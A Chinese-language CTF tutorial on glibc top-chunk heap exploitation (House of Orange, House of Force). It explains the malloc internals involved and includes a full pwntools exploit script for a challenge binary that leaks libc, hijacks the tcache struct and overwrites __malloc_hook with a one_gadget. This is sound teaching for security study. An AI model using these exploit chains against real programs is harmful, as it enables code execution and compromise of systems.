针对topChunk的攻击
House Of Orange
适用条件
- 题目中不存在 free 函数或其他释放堆块的函数
- 堆溢出写
- 能够修改到
top_chunk的size位 - 可以得到一个
unsortedbin - glibc ≤ 2.23
原理
当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,从而在没有free的前提下获得一个已经 free 了的 unsorted bin
我们假设目前的 top chunk 已经不满足 malloc 的分配需求。 首先我们在程序中的malloc调用会执行到 libc.so 的_int_malloc函数中,在_int_malloc函数中,会依次检验 fastbin、small bins、unsorted bin、large bins 是否可以满足分配要求,因为尺寸问题这些都不符合。接下来_int_malloc函数会试图使用 top chunk,在这里 top chunk 也不能满足分配的要求,因此会执行如下分支。
/*
Otherwise, relay to handle system-dependent cases
*/
else {
void *p = sysmalloc(nb, av);
if (p != NULL && __builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}
看top_chunk的size值,比如0x20791这样子
改为0x791,再申请一个大的即可无中生有一个unsorted bin出来。
只能改成0x791是因为glibc中会对 topchunk 的 size 位进行校验,由于操作系统是4k页对齐的,我们需要保证 低12位 大小不变,也就是 0x791
随后如果能够修改到unsortedbin的bk位,即可实现unsorted bin attack
一般后续攻击是挟持IO_list_all指针
unsorted bin attack实现的是将main_arena+0x88写到IO_list_all处
- 利用堆溢出来改小
top chunk,然后在malloc一个大空间从而变出一个bin的打法全版本通用。
house of orange+
可以将 top chunk 的大小分配到比如 0x110a0 这样,然后可以将大小改为 0x0a0 ,然后malloc一个大空间,可以放到 tcache,在 libc2.26以下可以调整空间打 fastbin dup
原文见https://bbs.kanxue.com/thread-282523.htm
house of force
在libc 2.27及以下可用
glibc 中对 topchunk 的校验
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
如果可以篡改 size 为一个很大值,就可以轻松的通过这个验证
也就是利用堆溢出将 topchunk 的 size 位改成 -1 ,根据补码→无符号规则,是一个非常大的数 Umax
然后如果题目中对 malloc 的数没有校验,可以将 topchunk 往高地址推,从而实现任意空间分配。
例题:topchunkMaster
- libc-2.27
- 菜单题,没有free函数,有UAF
- 在
edit函数处有堆溢出,可以溢出8个字节
在没有free的情况下,我们可以利用 house of orange 的前半部分打出一个 unsortedbin 出来。然后根据下面的示意图
我们现在 unsortedbin 中只有一个 bin,因此他的 bk指向的是 main_arena ,和 libc 的地址是有固定偏移的,我们可以将这堆块申请出来,然后show一下,然后计算出 libc 基地址
首先先申请一个 0x408大小的空间
可以发现,实际上的大小是 0x410 在这种情况下可以共用下一个堆块的 prev_size 的一个 byte,因此我们可以利用堆溢出改到 topchunk 的 size 位,改为0x9a1
然后我们可以add一个0x1000的大小,在glibc中,会进入到 use TOP 的代码段,调用 int_free 将原先的 top_chunk free掉,从而我们有了一个 unsortebin
可以看到, 我们可以泄露 fd或者bk的值来计算libcbase
然后我们再申请一个堆块,show一下,就可以泄露出libc的地址,并计算libc基地址
然后我们需要申请一堆空间,将 unsortebin 耗尽,再次申请,就会从 topchunk 切割。
然后我们利用溢出将 topchunk 的 size 位修改为 -1
我们可以打 tcache_entry
注意到 tcache_perthread_entry 有 63 个重复的 counts 当 tcache 中每多一个对应大小的bins,对应的 counts 就会+1,我们可以修改 entries 实现任意写
这个 0x250 的堆块就是 tcache_perthread_entry 会在堆第一次初始化的时候初始。
我们可以计算他到现在 topchunk 的偏移 然后再减去 header 的 0x10 就可以将 topchunk 推到 tcache_entry 中,然后我们 malloc 获得这一块的写入,然后就可以控制 tcache
然后打 tcache→malloc_hook→one_gadget链即可
from pwn import *
context.arch = 'amd64'
# context.arch = 'amd64'
context.log_level = 'debug'
context.terminal =['tmux','splitw','-h']
exe = ELF('./pwn')
libc = ELF('./libc.so.6')
p = process("./pwn")
def cmd(i, prompt = "5. exit"):
p.sendlineafter(prompt,str(i))
def add(index, size):
cmd(1)
p.sendlineafter("idx: ",str(index))
p.sendlineafter("size: ",str(size))
def show(index):
cmd(3)
p.sendlineafter("idx: ",str(index))
def edit(index, payload):
cmd(4)
p.sendlineafter("idx: ",str(index))
p.sendafter("content: ",payload)
add(0,0x408)
edit(0,flat(
b'a'*0x408,
0x9a1
))
add(0,0x1000)
add(0,0x60)
show(0)
libc_base = u64(p.recv(6).ljust(8,b"\x00")) - 0x3ec1f0
success(f"libc--->{hex(libc_base)}")
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_addr = libc_base + libc.sym['realloc']
realloc_hook = libc_base + libc.sym['__realloc_hook']
og = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]
one_gadget = [item + libc_base for item in og]
add(0,0x900)
add(0,0x408)
edit(0,flat(
b'a'*0x408,
-1
))
add(0,-0x22420-0x10)
add(0,0x240) # tcache_struct
edit(0,flat(
b'3'*0x10,0,0,0,0,0,0,0,0,0,p64(malloc_hook - 0x10),p64(malloc_hook - 0x8) # 0x50->realloc_hook 0x60 ->malloc_hook
))
add(0,0x50) #realloc_hook
edit(0,p64(one_gadget[2])+p64(realloc_addr +9))
# add(0,0x60)
# gdb.attach(p)
# gdb.attach(p)
p.interactive()
例题:topchunkmasterplus
libc2.35
依然可以leak libc,但是无法使用house of force申请超大内存空间(会调用mmap来分配)
同时打tcache存在 key 防止 double free 同时存在 safe link
ptr xor (addr >> 12)
比如我们需要写入 addr1
我们需要计算 addr1 ^ (当前tcache地址 >> 12)
因此我们需要leak堆地址
在 largebin 中,有四个指针,其中 fd_nextsize 就存有堆地址,我们可以拿到这个将largebin中的堆块申请出来一块,然后填 0x10个a 然后就会将 fd_nextsize 打印出来,从而leak堆地址
我们变出 unsortebin 之后,再申请一个大于 unsortebin 大小的内存,就会将 unsortebin 放到 largebin 中,然后我们可以尝试切割 largebin 或者直接申请 largebin 对应大小的空间,leak即可。
题目中存在后门,思路是用第一次攻击 topchunk 变出 unsortebin 来leaklibc,然后leak堆地址,然后再次攻击 topchunk ,变出两个 tcache 然后将 bss 段的地址放到 tcache 的 fd 中,最后申请出来改写 bss 段从而通过 check 函数。